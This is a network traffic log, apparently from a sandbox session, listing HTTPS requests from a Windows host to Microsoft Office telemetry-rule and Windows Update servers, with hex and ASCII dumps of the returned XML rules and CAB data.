2024-11-20 11:58:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115823Z-185f5d8b95cx9g8lhC1NYCtgvc00000002e000000000k034 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115823Z-185f5d8b95c95vpshC1NYC759c0000000a70000000007ba7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115823Z-1777c6cb754g9zd5hC1TEBfvpw00000009n000000000d2vd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115823Z-185f5d8b95cqnkdjhC1NYCm8w80000000a0000000000dknp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:24 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115824Z-185f5d8b95crl6swhC1NYC3ueg0000000aag00000000b8f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:24 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115824Z-185f5d8b95c4bhwphC1NYCs8gw0000000adg000000001xc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:24 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115824Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a4000000000n7q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:24 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115824Z-185f5d8b95crl6swhC1NYC3ueg0000000adg000000001qnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:24 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115824Z-185f5d8b95c4vwv8hC1NYCy4v40000000aag000000009eng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49778	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:24 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MYn8CAYCdhtnceW&MD=1P+6sxtW HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 11:58:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 6b7163ac-b844-4088-8698-c4e5e8b0722c MS-RequestId: 355f0da4-ca47-461e-8b7d-2dbc56904dc7 MS-CV: z1clq4hOckOFg57+.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 11:58:24 GMT Connection: close Content-Length: 30005
2024-11-20 11:58:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 11:58:25 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115825Z-1777c6cb754xjpthhC1TEBexs8000000099000000000hk2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
